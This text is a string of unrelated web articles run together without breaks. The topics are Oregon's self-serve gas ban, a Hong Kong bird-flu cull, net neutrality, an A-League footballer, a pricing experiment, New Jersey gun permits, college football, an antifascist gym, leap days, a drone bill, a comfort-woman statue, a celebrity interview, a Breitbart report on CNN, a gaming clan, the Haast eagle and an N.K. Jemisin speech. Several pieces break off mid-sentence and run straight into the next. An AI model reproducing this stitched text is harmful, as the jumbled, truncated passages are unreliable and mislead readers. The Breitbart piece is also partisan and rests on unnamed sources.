One slight change was made in 2001 in Oregon when motorcyclists successfully got the law tweaked to allow them to pump their own gas. Presumably it was awkward having some random person stick the nozzle between the motorcyclists’ legs as they dutifully sat on their bikes waiting to be serviced…
[Editor’s note: As someone who lives in Washington and occasionally has to drive through Oregon- and tries to avoid getting gas in Oregon at all costs- I’m curious; what is the etiquette on tipping when someone pumps your gas and cleans your windshield, as seems to happen the few times I’ve ended up needing to stop for gas there? Is it customary to tip, or not? Inquiring minds want to know…]
If you liked this article, you might also enjoy our new popular podcast, The BrainFood Show (iTunes, Spotify, Google Play Music, Feed), as well as:
If you’re curious about the specific 17 reasons listed in the Oregonian laws, you can read them below:
(1) The dispensing of Class 1 flammable liquids by dispensers properly trained in appropriate safety procedures reduces fire hazards directly associated with the dispensing of Class 1 flammable liquids; (2) Appropriate safety standards often are unenforceable at retail self-service stations in other states because cashiers are often unable to maintain a clear view of and give undivided attention to the dispensing of Class 1 flammable liquids by customers; (3) Higher liability insurance rates charged to retail self-service stations reflect the dangers posed to customers when they leave their vehicles to dispense Class 1 flammable liquids, such as the increased risk of crime and the increased risk of personal injury resulting from slipping on slick surfaces; (4) The dangers of crime and slick surfaces described in subsection (3) of this section are enhanced because Oregon’s weather is uniquely adverse, causing wet pavement and reduced visibility; (5) The dangers described in subsection (3) of this section are heightened when the customer is a senior citizen or has a disability, especially if the customer uses a mobility aid, such as a wheelchair, walker, cane or crutches; (6) Attempts by other states to require the providing of aid to senior citizens and persons with disabilities in the self-service dispensing of Class 1 flammable liquids at retail have failed, and therefore, senior citizens and persons with disabilities must pay the higher costs of full service; (7) Exposure to toxic fumes represents a health hazard to customers dispensing Class 1 flammable liquids; (8) The hazard described in subsection (7) of this section is heightened when the customer is pregnant; (9) The exposure to Class 1 flammable liquids through dispensing should, in general, be limited to as few individuals as possible, such as gasoline station owners and their employees or other trained and certified dispensers;
Numbers 7, 8, 9 and 10 all have to do with the “toxic fumes” emitted when pumping one’s own gas. Aside from the fact that one has to either roll down the car window or open the door to give the technician money to pay for the gas and tell them what you want, thus letting in said fumes anyways, by that logic, instead of exposing customers to these fumes for a brief period, the Oregon gas stations pay a select few people minimum wage to be exposed to these fumes for eight hours a day, several times a week… OK then…
(10) The typical practice of charging significantly higher prices for full-service fuel dispensing in states where self-service is permitted at retail: (a) Discriminates against customers with lower incomes, who are under greater economic pressure to subject themselves to the inconvenience and hazards of self-service; (b) Discriminates against customers who are elderly or have disabilities who are unable to serve themselves and so must pay the significantly higher prices; and (c) Increases self-service dispensing and thereby decreases maintenance checks by attendants, which results in neglect of maintenance, endangering both the customer and other motorists and resulting in unnecessary and costly repairs; (11) The increased use of self-service at retail in other states has contributed to diminishing the availability of automotive repair facilities at gasoline stations; (12) Self-service dispensing at retail in other states does not provide a sustained reduction in fuel prices charged to customers; (13) A general prohibition of self-service dispensing of Class 1 flammable liquids by the general public promotes public welfare by providing increased safety and convenience without causing economic harm to the public in general; (14) Self-service dispensing at retail contributes to unemployment, particularly among young people;
North America is known for its fast food industry. McDonald’s is always hiring. Also, apparently we should be exposing our youth to “toxic fumes” while they are at work by this reasoning. 😉
(15) Self-service dispensing at retail presents a health hazard and unreasonable discomfort to persons with disabilities, elderly persons, small children and those susceptible to respiratory diseases; (16) The federal Americans with Disabilities Act, Public Law 101-336, requires that equal access be provided to persons with disabilities at retail gasoline stations; and (17) Small children left unattended when customers leave to make payment at retail self-service stations creates a dangerous situation. [1991 c.863 §49a; 1999 c.59 §160; 2007 c.70 §276]
Expand for ReferencesHONG KONG (Reuters) - Workers began culling 17,000 chickens at a wholesale poultry market in Hong Kong on Wednesday after a dead chicken there tested positive for the deadly H5N1 avian virus, a government spokesman said.
The Hong Kong government also suspended imports of live chickens from mainland China and the trading of live chickens for 21 days in a bid to prevent any spread of the disease, which is normally found in birds but can jump to humans.
“We do not know if the dead chicken was imported from China or if it’s a local chicken,” the government spokesman said, adding that the market would be emptied of birds and thoroughly disinfected.
People do not have immunity to the H5N1 virus and researchers worry it could mutate in humans into a form that would spread around the world and kill millions of people.
The virus passes easily among birds and has becomes active in various parts of the world, but especially in east Asia, over recent years, especially in the cooler months of the year.
The current strain of H5N1 is highly pathogenic, kills most species of birds and up to 60 percent of the people it infects.
The last two large poultry culling exercises in Hong Kong took place in June 2008, after checks uncovered H5N1 in chicken fecal samples, and in December 2008 when the virus killed scores of chickens at a chicken farm.
In 1997, six people died from the H5N1 virus in the territory and 1.3 million chickens were culled.
Hong Kong’s last recorded human case of H5N1 was in November 2010 — the 59-year-old woman, who came down with the illness after returning from a trip to mainland China, survived.
Since making its first laboratory-confirmed appearance in Hong Kong in 1997, it is now endemic in many places in Asia and also Egypt.
Since 2003, it has infected 573 people around the world, killing 336.
Health workers pack dead chicken at a wholesale poultry market in Hong Kong December 21, 2011. Workers began culling 17,000 chickens at a wholesale poultry market in Hong Kong on Wednesday after a dead chicken there tested positive for the deadly H5N1 avian virus, a government spokesman said. REUTERS/Tyrone Siu
The virus also kills migratory birds but species that manage to survive can carry and disperse the virus to new, uninfected locations.
The virus can kill birds and humans in a matter of days but can survive far longer durations in a moist, cool environment. The ban on trading of live chickens in Hong Kong for 21 days is to ensure that the virus runs through its full lifecycle.
It transmits less easily between people but there have been clusters of infections in people in Indonesia and Thailand in the past, where the virus is believed to have been passed between family members through direct contact with contaminated respiratory secretions.WASHINGTON — Few people would dispute that one of the biggest contributors to the extraordinary success of the Internet has been the ability of just about anyone to use it to offer any product, service or type of information they want.
How to maintain that success, however, is the subject of a momentous fight that resumes this week in the United States Court of Appeals for the District of Columbia Circuit. The battle pits one of the largest providers of Internet access — Verizon — against the Federal Communications Commission, which for nearly 80 years has been riding herd on the companies that provide Americans with telecommunications services.
Verizon and a host of other companies that spent billions of dollars to build their Internet pipelines believe they should be able to manage them as they wish. They should be able, for example, to charge fees to content providers who are willing to pay to have their data transported to customers through an express lane. That, the companies say, would allow the pipeline owner to reap the benefits of its investment.
The F.C.C., however, believes that Internet service providers must keep their pipelines free and open, giving the creators of any type of legal content — movies, shopping sites, medical services, or even pornography — an equal ability to reach consumers. If certain players are able to buy greater access to Internet users, regulators believe, the playing field will tilt in the direction of the richest companies, possibly preventing the next Google or Facebook from getting off the ground.Ten rounds into this A-League season, the Newcastle Jets have stunned in their surge to second place, with Dimitri Petratos the playmaker at the heart of their success.
It has not always been plain sailing for the highly rated prospect.
Starting his career at Sydney FC before a reported training-ground fight with the goalkeeper coach marked a sharp downturn in form and favour, Petratos ended up in the Malaysian league due to a lack of interest domestically.
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Ironically, a hat-trick against Sydney, months after signing for Brisbane Roar, was the beginning of Petratos’ transformation into a genuinely effective attacker.
At Brisbane, Mike Mulvey used Petratos as a right-winger during their 2013-14 double-winning season. However the following year, both Mulvey and his replacement, Frans Thijssen, used Petratos in a central position. This was not always effective, as Petratos found it difficult to find space in congested central areas in a team that traditionally dominated possession.
Under John Aloisi, the Roar became more structured in their patterns of play, a tactical shift that suited Petratos. A key pattern was his movement from a #10 position towards the wing, getting free away from opposition holding midfielders and creating space for the right-winger, often Brandon Borrello, to make forward runs.
Throughout Petratos’ positional evolution at Brisbane, his technical and physical level also improved. He became noticeably more mobile and aggressive, while also improving his ability to make quick decisions in playmaking positions, an oft-repeated criticism of his at Sydney and in the early stages of his Roar career.
As Jonathan Howcroft wrote for The Guardian, Petratos’s blossoming demonstrates the ability of the A-League to provide an environment for talented Australian footballers to grow and develop.
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What happened next was bizarre. Petratos agreed to a move to Newcastle at the end of his Brisbane contract, with financial reasons cited for the switch, before being offered an even more lucrative deal at Ulsan Hyundai in South Korea.
However, the three-year deal came to an anticlimactic end after Petratos struggled to adapt to the change in lifestyle. Unsurprisingly, the Jets offered him a lifeline.
With exciting marquee Ronald Vargas also to fit into his team, Ernie Merrick initially used Petratos on the right of a 4-2-3-1. However, the Venezuelan’s horrific injury meant Petratos has moved into the #10 position, where he has shone. This is because the Jets have primarily been a counter-attacking team, scoring goals from quick transitions after winning the ball back from pressing high up the pitch.
The opening round demolition of the Central Coast Mariners was an excellent demonstration of this, where they were able to release Petratos making runs into the channels with forward passes into the gaps in the opposition back four. They had a similar approach against Wellington Phoenix, who also tried to play out from the back, but found it difficult against the speed and intensity of the Jets’ pressure, who then attacked goal quickly upon turnovers.
Petratos is excellent in these counterattacking moments. From his defensive positioning – central, making the side compact from back to front – he makes quick, lateral movements towards the sides, getting free off the shoulder of the opposition defensive midfielders. In these positions, he is on the blindside of his direct opponent, so teammates can play forward passes into him, where he can turn and attack open spaces.
What’s also important is that Petratos keeps an open body position when making these runs, where he can see the ball, see the defender, see forward and face forward on his first touch. It is a simple, yet critical adjustment. It means he doesn’t move as quickly as he possibly could – you run faster going forward than going backwards – but it means when he receives the ball he has full vision of the pitch. That, in turn, allows him to make more effective decisions, because he is aware of both opposition defenders that might pressure him, and the runs his teammates are making.
In longer periods of possession, where the Jets are building up play, Petratos makes similar movements. While his notational starting position is central, he drifts towards the sides to get free behind defensive midfielders. In the team’s 4-2-3-1 formation, the two holding midfielders stay central, so that when the centre-backs get the ball and Petratos makes these movements, the passing lane opens up from centre-back to attacker where Petratos can then turn and attack goal. Again, keeping the open body is important, as it means Petratos is facing the goal, rather than the touchline, when he receives.
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These are small, technical actions that have ingrained into Petratos over years of training at Brisbane, and demonstrate that even into the early 20s (he is now 24) players still develop and learn new behaviours. Indeed, there are still weaknesses in Petratos’ game.
For example, on the weekend, because they scored early on, Perth defended quite deep, restricting the space for Merrick’s team to counter-attack into. The Jets therefore had possession for longer periods.
Petratos had to receive the ball in tighter areas. In these moments, even though he was receiving forward passes between the lines, his natural tendency was to take his first touch back – away from goal and from defenders.
While he was able to retain possession in these moments, his inability to face forward on his first touch made it difficult for him to be able to play penetrating forward passes, because Glory defenders quickly closed up gaps between their defenders when Petratos took his first touch backwards. That is why Newcastle actually struggled to create chances for long periods, why they resorted to longer passes from the back towards the front three, and why Merrick described their late goals as “a theft”.
Nevertheless, Petratos is still one of the league’s most exciting players, particularly when driving at goal in open spaces. He has made small yet crucial adjustments to his game that have allowed him to be more effective in these moments, and given the way he has steadily improved as an individual over the last four years, there is little doubt he will continue to enhance his overall game.
That is good news for a Jets team flying high at the top end of the table.Self-sabotage. That’s what we call it when someone or something actively takes steps against that which it tries to accomplish. We all aim to move product regardless what we’re selling. Cars, soccer boots, energy drinks, law services, even ourselves. And there’s the place of the brand. People love brands. People buy love. A strong enough brand gives us that sense of connection. It colours our experience with the product. And when making business decisions about a brand the temptation is to still engage standard economics even though other dynamics are in play.
Are revenues are falling? We cut costs! We’re looking to move more of our product? We advertise! Better still, we use promotions, we discount. Discounting sounds lovely, but is it? Dan Ariely and some other economists set up a revealing experiment. It was nothing fancy. It was about SoBe Adrenaline rush, a beverage that claims to increase mental acuity. To test this claim, they administered a word jumble challenge for 3 groups of students few minutes after they had this drink.
First, the “no SoBe group”—the control group—were given the test without taking SoBe. The second group were given the drink and charged $2.89 for the drink. That’s our “premium SoBe group”. Then a third group was told that they were fortunate to get SoBe at an amazing “discount” at 89cents.
After the test results came in, guess what? SoBe drinkers performed better than the control group (Yay! SoBe). Yes, this is experimental evidence that a drink can make you smarter, at least enough to impress Dan Ariely. But, here’s where it gets interesting, the discount SoBe group performed worst of the three groups, that is worse than the no SoBe group and worse than the premium SoBe group.
So in the end it wasn't a case for the drink, since the brain boosting effect wasn't present in both sets of SoBe drinkers. What was the difference between these two groups you wonder? Maybe it is a case against discounting. Another study at the Ohio state University theatre department had telling insights. A season pass purchased at $15 would grant you access to all of the theatre’s shows for that semester. 60 already interested season ticket holders unknowingly partook in an experiment. Three types of tickets were randomly assigned: first was the standard $15 ticket, a no discount scenario; second was a $2 discount ticket, the small discount scenario; the last scenario, a $7 discount ticket, the large discount scenario. The
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to stop regulations the Christie administration introduced to make it easier for residents to obtain concealed carry permits in the state.
Second Amendment advocates have long argued that New Jersey's permitting process makes it nearly impossible for anyone who isn't a retired law enforcement officer to get such a permit.
Christie's changes, introduced in April, would allow residents to show evidence of "serious threats" against their lives to obtain permits in as little as a month.
Dems hold off on blocking Christie gun veto
But the resolution passed by the Legislature two weeks ago calls for Christie's administration to amend or withdraw the administration's regulations within 30 days because they violate the "legislative intent."
And Monday's bill aims to clarify what "justifiable need" means because Democrats claim Christie's wording was too vague.
Under the measure, those applying for a permit would have to demonstrate "the urgent necessity for self-protection, as evidenced by specific threats or previous attacks which demonstrate a special danger to the applicant's life that cannot be avoided by means other than by issuance of a permit to carry."
The Democratic-controlled state Assembly voted 46-28, with one abstention, to pass the bill two weeks ago.
The Democratic-controlled state Senate voted 22-17 to pass the measure Monday, sending it to Christie to either sign or veto.
Christie has vowed to fight Democrats over the issue.
Brent Johnson may be reached at [email protected]. Follow him on Twitter @johnsb01. Find NJ.com Politics on Facebook.CLOSE Free Press sports writers Jeff Seidel, Mark Snyder and George Sipple give you pregame analysis from Columbus before Michigan vs. Ohio State on Saturday, Nov. 26, 2016. Video by Mark Snyder, DFP.
Michigan quarterback Wilton Speight arrives for the game against Ohio State on Saturday, November 26, 2016 at Ohio Stadium in Columbus. (Photo: Kirthmon F. Dozier, DFP)
COLUMBUS, Ohio -- Michigan quarterback Wilton Speight started at quarterback today at Ohio State.
Speight took the field in pregame warm-ups and looked far more efficient than before the Indiana game last week.
Speight, who was injured late in the 14-13 loss to Iowa two weeks ago and didn't play in the 20-10 win against Indiana, dressed in full pads and took the first snaps with the first team in the 7-on-7 drills and in the full-team.
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Earlier he took snaps from "center" Jim Harbaugh. Speight was dressed along with backup John O'Korn and third-stringer Shane Morris.
He took the field immediately after Michigan arrived in just a sweatshirt and began throwing 10-yard outs with a manager.
He stayed on the field for about 10 minutes and his passes had some zip on them. He even unloaded a bit throwing a ball 40 yards that hit the goal posts before heading back to the locker room.
Though Speight dressed for the Indiana game last week, he did very little warm-up, just throwing lightly with O'Korn and nothing forceful.
But during this past week he took snaps in practice, Harbaugh confirmed.
Contact Mark Snyder at [email protected]. Follow him on Twitter at @mark__snyder.
Download our Wolverines Xtra app on iTunes and Android!The growth of explicitly anti-fascist organization has been massive, with people entering into, and creating new, organizations all around the country to confront the rise of the Alt Right and white nationalism in Trump’s America. Many organizations taking up the Antifa mantle are using direct confrontation with fascists, meaning that they may need to defend themselves and their communities from racist attacks.
With this in mind a new gym named Haymaker, a place for “popular fitness and self-defense,” has been formed. We spoke with the founders of this gym to ask a few questions about why it was formed and what function it will serve to the community.
Why does a gym like this need to exist?
A n anti-fascist, anti-sexist, and anti-racist martial arts gym will provide needed self-defense training for those most at risk of n ot only far right violence on the street, but also patriarchal violence in the home. Physical training is a crucial and often neglected component of anarchist practice. We believe that fostering material resistance starts with the most intimate of material forces – our bodies. We grow our potential as we learn what our bodies are capable of doing together. Revolutionary movements around the world have made use of the solidarity and strength that physical training fosters, but there are few, if any, political gyms across the so-called United States. Haymaker will be the first explicitly antifascist gym in Chicago offering free, donation-based expert martial arts training. This gym needs to exist so that when we encounter fascists in the streets, or patriarchs in the home, we have the capacity to respond in whatever way we deem necessary.
What threat are you seeing to the community?
With sadness in our hearts, and the passion for i n surrection in our fists, we recognize a sharp spike in far-right violence in Chicago. Since 2016, there has been a 20 % rise in hate crimes throughout the city, marking a 5-year high. There has also been a shar p decline in flights from Mexico to O’Hare reflecting fears the Latinx community is facing in the face of Trump’s Amerikkka. Since Trump’s election, Identity Evropa has been openly fliering campuses, and anti-Semitic propaganda has crept onto campus posterboards. A synagogue in downtown Chicago had a window smashed and swastikas drawn on the door, and a Jewish day school was forced to evacuate after a bomb threat was called on it. But beyond the spectacular rise in authoritarian and white-supremacist violence, we also recogniz e the less public but nonetheless ongoing reality of intimate partner violence against Chicago women, and in particular black women, who are four times more likely women of other races to die at the hands of a (current/former) boyfriend. Building a political force capable of fighting back means confronting the violence in public and private spaces. Currently, southwest Chicago does not contain a single martial arts gym and houses only one boxing gym. And yet this area is home to many affected by the immigration problems and hate crimes that have steadily risen beneath the Trump administration. We want to strengthen community while strengthening our ability to respond to fascistic and patriarchal violence we see taking place at ever-increasing rates in our neighborhoods.
How can anti-fascists effectively organize against fascist threats locally?
We believe that this project represents one avenue toward which collective antifascist power can be built. We envision a space where people from all walks of life and antifascist political orientations can converge and become powerful together. Many of the organizers involved in Haymaker believe that anti-fas c i s m must move beyond simply reactive attacks to fascist mobilization, and pose new ways of living and fighting together that prefigure the liberated society we dream of building. In other words, anti-fascism means organizing a new way of life, one we hope a space for cultivating fitness and bodily power will help bring about.
We want anti-fascism to be a political position that is open to a large number of participants – as such, we do not separate anti-fascism from anti-sexism or anti-racism. We see the gym as a practical way in which anarchist antifascists can open a window for sympathetic people from other places in the city to meet and join together against those who would see us dead. We all have a lot of work to do and we want to continue to find one another, strengthen one another, and build networks of mutual aid and support to weather these storms. Perhaps we will not only fight, but come out better for having struggled with and for one another. Perhaps we will not only make a life from within the ruins, but create a new world. Perhaps we will not only survive, but win
How can people join the gym, get involved?
Please d onate to the campaign and share it in your networks! We recognize that this project is local to Chicago, but we appeal to political solidarity that refuses the limits of borders. We hope this project will resonate with others and encourage folks across the US to start training their bodies for the fight already underway. We especially welcome inquiries and emails from those in the Chicagoland area who would like to get involved with the project!
You can find us at: [email protected]
AdvertisementsBissext, or bissextus (Lat. bis, twice; sextus, sixth) is the day which is added to the Gregorian calendar every fourth year (except those evenly divisible by 100, unless they are divisible by 400) to compensate for the six-hour difference in length between the common 365-day year and the actual length of the solar year.[1]
Originally, the day was inserted after the 24th of February, i.e. the 6th day before the calends (1st) of March, Consequently, besides the sextus, or sixth before the calends, the bis-sextus or "second sixth," was our 25 February. In modern usage, with the exception of ecclesiastical calendars, the intercalary day is added for convenience at the end of the month of February, as February 29, and years in which February has twenty-nine days are called "bissextile," or leap years.[1]
See also [ edit ]
References [ edit ](Reuters) - California Governor Jerry Brown vetoed a bill that would have placed strict regulations on how law enforcement and other government agencies can use drones, his office said on Sunday.
The measure, which passed the state’s Senate and Assembly with broad support, would have required law enforcement agencies to obtain a warrant before using an unmanned aircraft, or drone, except in emergencies such as a fire or a hostage-taking.
“There are undoubtedly circumstances where a warrant is appropriate. The bill’s exceptions, however, appear to be too narrow,” Brown said in his veto message.
Brown said the bill could have imposed standards on law enforcement beyond what is required by both the U.S. and California Constitutions.
Under the measure, other public agencies would have been allowed to use drones, or contract for their use, to achieve their “core mission,’ so long as that mission was not to gather criminal intelligence.
The law would have also required that data, video or photos collected from the drones be destroyed by public agencies within a year, except in certain cases.
Supporters of the bill said it would protect civil and privacy rights of state residents and prevent warrantless surveillance.
“The era of govt. surveillance continues,” the bill’s author, Republican Assemblyman Jeff Gorell, tweeted on Sunday evening. He expressed disappointment over the veto.
The measure faced opposition from law enforcement groups, including the state’s police chiefs and sheriff’s associations, as well as the Los Angeles District Attorney.
Idaho and Virginia have also passed laws restricting uses of pilotless aircraft because of privacy concerns.
The Federal Aviation Administration, under growing pressure to set rules that would permit broader drone use, on Thursday loosened restrictions by granting six television and movie production companies permission to use the aircraft to shoot scenes on closed sets.next Image 1 of 3
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A Japanese-Australian community leader says he has filed a racial discrimination complaint against a Sydney church that he alleges has intimidated Japanese nationals by erecting a memorial to women forced to work as sex slaves by Japan's World War II army.
Tetsuhide Yamaoka, president of the Australia-Japan Community Network, said Thursday he had complained to the Australian Human Rights Commission about the prominent display of a statue of a so-called comfort woman from Korea in the grounds of the Uniting Church in suburban Ashfield.
The church's minister Bill Crews says the only change he would consider to the statue's position would be to display it more prominently.
Historians believe that as many as 200,000 girls and women from Korea, China and other occupied nations were forced into Japanese military brothels.Lili Reinhart (Betty Cooper), 20
So you shared some personal details about your experience with depression on Twitter recently. What inspired you to do that?
Literally, I was sitting in the bathtub as I was writing that. I take like two baths a day, is that weird? I don't know. And I just felt inspired because for the past few weeks I've been experiencing depression, even though there are these wonderful things happening in my life. It doesn't mean that I'm not still struggling.
That's important because a lot of people undermine their own depression and anxiety because they're like, "I'm not being bullied, I have a roof over my head, nothing's necessarily going wrong." It just happens and it's just inside of you and that's not something you should be ashamed of. It's justified because it's happening.
What do you do for self-care?
I've found myself writing a lot more. I journal a lot for nobody but myself. Just to get my thoughts out and to clear my mind. That's very therapeutic to me. I like to escape to the beach and kind of ground myself whenever I can. I think there's something about going on a hike and looking at a city view or looking at the ocean that brings you back to earth and kind of reminds you that your problems are quite small in retrospect.CNN is considering a prime time lineup shakeup as a “very fake news” scandal rocks the cable news platform, network insiders tell Breitbart News.
CNN insiders say that Jake Tapper, host of daytime talk show The Lead with Jake Tapper, wants the 9 p.m. ET block on the network. They also say that CNN president Jeff Zucker likes Don Lemon and Anderson Cooper, however. Cooper hosts Anderson Cooper 360, which airs at 8 p.m. and 9 p.m. ET weeknights; and Lemon hosts CNN Tonight, which airs at 10 p.m. ET weeknights.
Multiple sources have confirmed these considerations, which are not yet set in stone. The clouds loom as the network’s ratings struggle. Insiders say that a shakeup could include moving Erin Burnett to another part of the day, as sources close to the process tell Breitbart News she and her show Erin Burnett OutFront are “vulnerable.” Burnett’s show airs at 7 p.m. ET on weeknights. There are other potential configurations, too, that are under discussion.
CNN is not only becoming known for very fake news, the network is also known for very low ratings. It typically lags far behind competitors like MSNBC and FOX News in total viewers and doesn’t have a show that cracks the top 10.
CNN corporate spokeswoman Emily Kuhn has not denied the rumored shakeup when asked by Breitbart News for comment on Monday. The discussions are currently only preliminary but could accelerate as the network faces intense criticism from all sides continuing into this week.
The rumors come as the “very fake news” scandal consuming CNN from the inside out is causing so much pain at the network that it is still refusing to comment.
Zucker, CNN’s president, is avoiding press interviews and will not appear in front of the media for an on-camera press briefing about the situation, despite calls and requests for him to do so. Kuhn has repeatedly refused to make Zucker available for an interview, and she continues to refuse to on-record answer questions about a retraction scandal that has spread within the network since late Friday night.
“If I know anything about CNN leadership, they hunker down and hope crises will pass,” one highly connected CNN source told Breitbart News about what’s going on in Zucker’s inner circle. “They’re in their bunker right now.”
CNN pulled a story late Friday night that the network ran online late Thursday night inaccurately alleging that President Donald Trump and his associates, Stephen Schwarzman of Blackstone and SkyBridge Capital founder Anthony Scaramucci, were under both Senate Intelligence Committee and Treasury Department investigation for supposed ties to a Russian investment fund.
It turns out that not only is the Senate Intelligence Committee not investigating the matter, as CNN originally inaccurately reported, but the Treasury Department already looked into it earlier this year and determined the allegations to be entirely “without merit.” Apparently, the allegations stem from a conspiracy theory propelled by hardcore leftist “resistance” leader Sen. Elizabeth Warren (D-MA), as a Breitbart News investigation discovered.
The Breitbart News investigation, as CNN’s own Brian Stelter admitted on Sunday evening in his “Reliable Sources” newsletter, forced CNN to make the retraction and apologize to Scaramucci. It is worth noting that CNN has still not apologized to Schwarzman or Trump or any others maligned in the hit piece it has since retracted.
Since the shoddily-handled piece’s publication and retraction, the network has been under fire, and CNN president Jeff Zucker is personally leading, along with the head of CNN’s human relations, an internal investigation into the matter.
All of CNN’s Russia content is now compromised as well, CNN insiders say, since this giant mistake has forced the network to make internal editorial process changes. Some parts of those changes have leaked via internal emails and memos to BuzzFeed, as well as comments to many other outlets. CNN is struggling to maintain control, and sources inside the network tell Breitbart News that the public relations team is working on cracking down on leaks.
But Zucker’s refusal to appear in public or issue any type of statement—and the network’s public relations team’s continued official silence three days later—is not helping matters. CNN’s spokeswoman, Kuhn, is also deathly silent, refusing to answer any questions whatsoever on the matter. They not only are refusing to answer Breitbart News or BuzzFeed News questions. CNN is not even commenting to CNN—they refused to comment for Stelter when he asked what is going on inside the company.Welcome pico-games.com Welcome to Age Knights Clan. We are a 10 year old family clan that plays Age of Empires, Rise of Rome, and now Age of Empires: Definitive Edition! We play on Gameranger.com, and most (if not all) of our online games include our official custom scenarios which are designed by our own community!
We're a family clan - be friendly, have fun, try to be active and enjoy the game. Your skill does not matter. We're extremely relaxed and meetup every Friday to play several Custom Scenario games together. You're more than welcome to jump in & play w/ us!
★ We mostly communicate on our Discord Sever, which can be found here. ★
Download Scenarios | Download UPatch | Download AOE/ROR | Download Gameranger
❤ We are a CS Clan (Custom Scenario) not RM/DM clan. Learn more by clicking here.There are a lot of myths about dangerous mythical creatures, from sirens to the Kraken to the hydra, some of which preyed upon humans. In Maori legend, Te Hokioi was a giant black-and-white bird, with a red crest and huge beak. And just like the Kraken was probably based on a real creature—the giant squid—Te Hokioi was probably a real bird.
That bird would be a Haast eagle, extinct for just 500 years, according to a study in the Journal of Vertebrate Paleontology. Scientists have had the bones of the Haast eagle for over 100 years and have done genetic studies on the giant eagle before, so they know that it existed. The question was how—and what—it ate. Did it really come down from the sky to snatch up prey (including people), or was it a scavenger? Could it fly long distances, or only short ones? Did it live in the forest on in the mountains?
Without live animals to observe, these sorts of things can be hard to really prove. These researchers used CT scans to reconstruct the brain, eyes, ears and spinal cord of the ancient eagle, and compared their results to modern day birds. What they found was that the Haast eagle’s anatomy puts it more clearly in the predator camp than the scavenger one. It seems that the eagle swooped down from mountain perches to snatch its prey.
In Maori legend, that prey was sometimes a child, and Paul Scofield, lead researcher on the study, says that’s probably the truth. “This science supports Māori mythology of the legendary pouakai or hokioi, a huge bird that could swoop down on people in the mountains and was capable of killing a small child,” he said. “They had the ability to not only strike with their talons but to close the talons and put them through quite solid objects such as a pelvis. It was designed as a killing machine,” he told the Independent.
More from Smithsonian.com:
Bald Eagles Reveal Complexities in Saving Wildlife
Eagle Landing on a Roosting TreeN.K. Jemisin was a guest of honor last week at the feminist science fiction convention Wiscon, and delivered a stirring speech about dealing with racism in genre fandom and publishing. She also told a very disturbing story about her own experiences of racism over the past year.
Jemisin is the author of the popular Inheritance Trilogy, which begins with The Hundred Thousand Kingdoms. Her most recent series is the Dreamblood Duology.
We've excerpted part of her speech here, and you can read the whole thing on her website. She begins by explaining that racism has become a bigger issue in fandom lately, partly because people of color are becoming more powerful as creators in the publishing industry. And that means the backlash is going to be stronger. She said:
I'm going to start this off with a quote from Chip Delany, writing in the essay "Racism and Science Fiction" which was published in NYRSF in 1998. It's online, you can look it up.
"Since I began to publish in 1962, I have often been asked, by people of all colors, what my experience of racial prejudice in the science fiction field has been. Has it been nonexistent? By no means: It was definitely there. A child of the political protests of the '50s and '60s, I've frequently said to people who asked that question: As long as there are only one, two, or a handful of us, however, I presume in a field such as science fiction, where many of its writers come out of the liberal-Jewish tradition, prejudice will most likely remain a slight force—until, say, black writers start to number thirteen, fifteen, twenty percent of the total. At that point, where the competition might be perceived as having some economic heft, chances are we will have as much racism and prejudice here as in any other field.
We are still a long way away from such statistics.
But we are certainly moving closer."
I'm tempted to just stop there, drop the mic, and walk offstage, point made. Chip's a hard act to follow.
But it has been almost twenty years since his prophetic announcement, and in that time all of society — not just the microcosm of SFF — has racheted toward that critical, threatening mass in which people who are not white and not male achieve positions of note. And indeed we have seen science fiction and fantasy authors and editors and film directors and game developers become much, much more explicit and hostile in their bigotry. We've seen that bigotry directed not just toward black authors but authors of all races other than white; not just along the racial continuum but the axes of gender, sexual orientation, nationality, class, and so on. We've seen it aimed by publishers and book buyers and reviewers and con organizers toward readers, in the form of every whitewashed book cover, every "those people don't matter" statement, and every all-white, mostly-male BookCon presenters' slate. Like Chip said, this stuff has always been here. It's just more intense, and more violent, now that the bigots feel threatened.
And it is still here. I've come to realize just how premature I was in calling for a reconciliation in the [science fiction and fantasy] genres last year, when I gave my Guest of Honor speech at the 9th Continuum convention in Australia.
For those of you who don't stay on top of the latest news in the genre, let me recap what happened after that speech: I was textually assaulted by a bigot who decided to call me a "half-savage" among other things. (Whoops, sorry; he calls himself an "anti-equalitarian", because why use a twelve-cent word when you can come up with a $2 word for the same thing? Anyway.) He did this via the Science Fiction and Fantasy Writers of America's [SFWA] official Twitter feed, which meant that he was using the organization as the tool for a personalized, racist, sexist attack; because of this he was later expelled from the organization. He was just the inciting incident, though; the really interesting thing is what surrounded this whole affair. I got the expected rape and death threats from this man's supporters and others, which I duly reported to various authorities, for whatever good that did. During the month or so that it took SFWA to figure out what it wanted to do with this guy, a SFWA officer sat on the formal complaint I'd submitted because she thought I had "sent it in anger" and that I might not be aware of the consequences of sending something like that to the Board. A SFWA affiliate member posted a call for civility on his website; in the process he called me "an Omarosa" and a "drama queen", but of course he didn't mean those in a racialized or gendered way. In a semi-secret unofficial SFWA forum there was intense debate — involving former SFWA presidents and officers, and people who weren't members at all — about why it was desperately important that SFWA retain its harassers and assaulters, no matter how many members they drove off, because their ability to say whatever they wanted was more important than everyone's ability to function in genre workspaces, and SFWA's ability to exist as a professional association.
Let me be clear: all of these were racist and sexist attacks, not just one on the SFWA Twitter feed. And let me emphasize that I am by no means the only woman or person of color who's been targeted by threats, slurs, and the intentional effort to create a hostile environment in our most public spaces. People notice what happens to me because for better or worse I've achieved a high-enough profile to make the attacks more visible. But I suspect every person in this room who isn't a straight white male has been on the receiving end of something like this — aggressions micro and macro. Concerted campaigns of "you don't belong here".
This is why I say I was premature in calling for a reconciliation. Reconciliations are for after the violence has ended. In South Africa the Truth & Reconciliation Commission came after apartheid's end; in Rwanda it started after the genocide stopped; in Australia reconciliation began after its indigenous people stopped being classified as "fauna" by its government. Reconciliation is a part of the healing process, but how can there be healing when the wounds are still being inflicted? How can we begin to talk about healing when all the perpetrators have to do is toss out dogwhistles and disclaimers of evil intent to pretend they've done no harm?
(Incidentally: Mr. Various Diseases, Mr. Civility, and Misters and Misses Free Speech At All Costs, if you represent the civilization to which I'm supposed to aspire then I am all savage, and damned proud of it. You may collectively kiss my black ass.)
